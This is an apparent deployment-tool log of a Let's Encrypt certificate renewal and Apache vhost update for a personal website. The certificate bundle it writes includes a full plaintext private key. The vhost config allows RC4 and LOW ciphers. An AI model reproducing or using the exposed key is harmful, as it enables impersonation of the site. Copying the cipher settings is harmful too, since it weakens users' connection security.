MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-05 13:46:17: Establishing a connection
2026-01-05 13:46:17: Establishing a connection
2026-01-05 13:46:17: 

PUT: /tmp/pkp309987

#!/bin/bash
if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-05 13:46:17: 

chmod 755 /tmp/pkp309987; /tmp/pkp309987; rm /tmp/pkp309987

2026-01-05 13:46:17: 


1


2026-01-05 13:46:18: Establishing a connection
2026-01-05 13:46:19: 

PUT: /tmp/pkp288218

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > GKQ3yuGWHtMxe1ANzB_0uPVggc-QmHVnp5GW6TVC78Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GKQ3yuGWHtMxe1ANzB_0uPVggc-QmHVnp5GW6TVC78Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GKQ3yuGWHtMxe1ANzB_0uPVggc-QmHVnp5GW6TVC78Q


2026-01-05 13:46:19: 

chmod 755 /tmp/pkp288218; /tmp/pkp288218; rm /tmp/pkp288218

2026-01-05 13:46:19: 




2026-01-05 13:46:28: Establishing a connection
2026-01-05 13:46:29: 

PUT: /tmp/pkp588065

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm GKQ3yuGWHtMxe1ANzB_0uPVggc-QmHVnp5GW6TVC78Q


2026-01-05 13:46:29: 

chmod 755 /tmp/pkp588065; /tmp/pkp588065; rm /tmp/pkp588065

2026-01-05 13:46:29: 




2026-01-05 13:46:29: Establishing a connection
2026-01-05 13:46:29: 

PUT: /tmp/pkp802322

#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt

cat > $temp_file <<'endmsg'
b4:e0:d2:3b:b1:92:86:d9:32:16:23:e3:f6:fd:a1:6f

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBbZSPG9kq+uPobbdA7b2hnUvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA1MTI0NzU4WhcNMjYwNDA1MTI0NzU3WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDN9Uwy9GjmokTnjyC25cfD8Py0ovh/df5xs36M
gT//yCAlk45pkvohox4LTWfklJD84bd5A20vFv64jEjS3gWl2gP6s63/icZ3cJ5Z
Vbekqua3/G1TCKe2tOx0TaVPvMn9RtAZQHZ5ha0nN5ZrScW2pNxrjaMSIBiVHVDk
6cUVzWn4iElPkQ/trEstMAlp0NTOetyhIwjB7ikG8rddJvRm2eCi2+bgM2TL7fo6
hdIke5i2C+el4w6iFLp/TVsRxJSK2MGpSyUxLwQ8G8UTG1d8XUDIOcaTUtz3SNyj
mDHPhf5EMFhp6qODgkKgxetZiEC+aYKwGsxd6y1Dh7er/Z25AgMBAAGjggIxMIIC
LTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLbWr3VMBcYCz8A3UHhgGgOWaTvjMB8G
A1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NDguY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGbjmjBUAAABAMARzBFAiBxlfi4mn64gdrXHCub
v1s5m4ygMN6NJB0K7TihviupowIhAPJfsiCkwOgDVotSZIRvXAClqBam04qeMnkg
gMdgacNyAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGbjmjB
WQAABAMARzBFAiAHmHusqIQQKPKVmdMjxgNM9QipyAwxWwfDNRztSkaY/QIhAK0J
4f7iC1OKzeW7HBf0V728uDyzgK0JMwpIuc/egQLNMA0GCSqGSIb3DQEBCwUAA4IB
AQAGBE08kLdgJcz5K18zCUl6R+CuDf9vAAqJm6BctbBtzgq7zgyZmFJlDrK2CiGy
lTlviDTYcS/Ee2Lslne4FniLqQB5WXJsDCqn9WaGy9G4Afo71aL7Ok0YBPD3FR5X
C2Xz32vmBXc3+wmoHuxzJ07wG4L4d0ELatdFpXwKiTElGY9hoUBfxTYshK9vGPUL
GUUukk/L57qef1iGtG86RsPCLKXu2lrKQVST9vzI/oKFy5Nwj8JlUXryrAV/+m2J
jtPW4hOEu2Z4Azi5Y3xAucznGkolloFypgSt29U2hTrfkGSki1u+yAHeRu2srl1H
d11uCwHxC/vkr4Zd/bYEmfje
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDN9Uwy9GjmokTn
jyC25cfD8Py0ovh/df5xs36MgT//yCAlk45pkvohox4LTWfklJD84bd5A20vFv64
jEjS3gWl2gP6s63/icZ3cJ5ZVbekqua3/G1TCKe2tOx0TaVPvMn9RtAZQHZ5ha0n
N5ZrScW2pNxrjaMSIBiVHVDk6cUVzWn4iElPkQ/trEstMAlp0NTOetyhIwjB7ikG
8rddJvRm2eCi2+bgM2TL7fo6hdIke5i2C+el4w6iFLp/TVsRxJSK2MGpSyUxLwQ8
G8UTG1d8XUDIOcaTUtz3SNyjmDHPhf5EMFhp6qODgkKgxetZiEC+aYKwGsxd6y1D
h7er/Z25AgMBAAECggEAEcwIDRq+M9IpNrWd/V/56DsbQx3jPKeWcjHKyVswpUQg
TwIjDlYzUHownu5ngCkiv2j4lASEe0sdfX0vaWIV39qCeVGGEBMfBMD4PFgu82Ck
Av/VKWJelIGp/kGbyG06XeBjT0NMP/Aze031rNV/noQ8p2IvIxWF7XpOiRfDcY1n
CsOoVWmD0FRAsAud+9VZ4S+M0aWP0Y0XiVuYJ18yVhj5sH7atis5BASlqWA1ddzT
wMx4q+NkZbeEy7tA0UMIcp9+Mjp7v1iZhPTPEFr/gHEZ6R5B1UpC3UWHyrUaAecU
/itaT0Msr9FTtWBvFzpii7Wqcut6HygVQ22eQ19svwKBgQD0+mFAVhA9qnNvRYyz
se+qIs+9fy9XHbm+c3EsGXcq1gH/Y7BoVit4ki+LNe57N9FitvG0gshM1M4HM8h7
MQz9bUAIRLjMZyQ/1gT02aAg0iYUyXv7x+UCuNnSmjXT/ipp0ECretkHIzkljVeY
Etr68Tmpht+SWPCYEl0R2NQgzwKBgQDXOX41VMBtkjb20w9+zqlIpPDLtiuzKgwJ
CjCuUDTGffu24vRTbRt3LdtOlRXkw+d3p80uUxrRA03rRR2lmVPHAyCT4qdVARYB
tlOaor4gt1MmvcwC5XZ/bPtDExOUATd3RClfG77bQtMuidRsDftf2CThATgkTAXO
ZyRg0xAq9wKBgGc9eWymmHOUeM9k7RXxoAIAZ7IBfo7lHRkxB3nBRaJMzEy302k1
H17RpK2zTcypylkiphwfnZAbgrQwU4XvNv06ZGjXpVWnBfTNGguiB0Stq5TJELIc
HNwX0NxbVuH/VBqBxC9AN2Q1qOi1dzvEfnqQ3G8gQuonB0XfP0+9JDCrAoGAL7NJ
Wo6PG3nFfszmaUdqU3Ri/fNBGjNeeX5traSPHdL8P9trJTZQWQiry23VbV9R5L4n
BnZawipGUbd+y54A6GG0DbK1PWzBMN31B5e8JcobvsFf/uBWdAV2ZrZKp4nhfih4
NuESWswju/PGRbCPnv1rpwa7J6hFvSo08NS2h58CgYAeleqPCxJRfGTgDepoDrNg
ch2MVda7lo45Cs2lbBDcPuIzI3hIxnlw4IqBixl3okKHaWEtshXq+/Tds8MEZQxU
lZYe8kXhR/8VH+WE0m4MAttqxDP5BXfStJDFvQC3MZzbiFLQvQMPu8e9dpfRQ6Tm
bvR5klqyjp7rR9Cm+nHIKw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-05 13:46:29: 

chmod 755 /tmp/pkp802322; /tmp/pkp802322; rm /tmp/pkp802322

2026-01-05 13:46:29: 


dir=/etc/ssl/certs


2026-01-05 13:46:29: 

PUT: /tmp/pkp547330

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-05 13:46:29: 

chmod 755 /tmp/pkp547330; /tmp/pkp547330; rm /tmp/pkp547330

2026-01-05 13:46:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 57

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-05 13:46:29: 

PUT: /tmp/pkp133514

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_caminoconfessions_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf= 1'
fi


2026-01-05 13:46:29: 

chmod 755 /tmp/pkp133514; /tmp/pkp133514; rm /tmp/pkp133514

2026-01-05 13:46:29: 




2026-01-05 13:46:29: 

PUT: /tmp/pkp633185

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-05 13:46:29: 

chmod 755 /tmp/pkp633185; /tmp/pkp633185; rm /tmp/pkp633185

2026-01-05 13:46:30: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-05 13:46:30: Establishing a connection
2026-01-05 13:46:30: 

PUT: /tmp/pkp236371

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-05 13:46:30: 

chmod 755 /tmp/pkp236371; /tmp/pkp236371; rm /tmp/pkp236371

2026-01-05 13:46:30: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
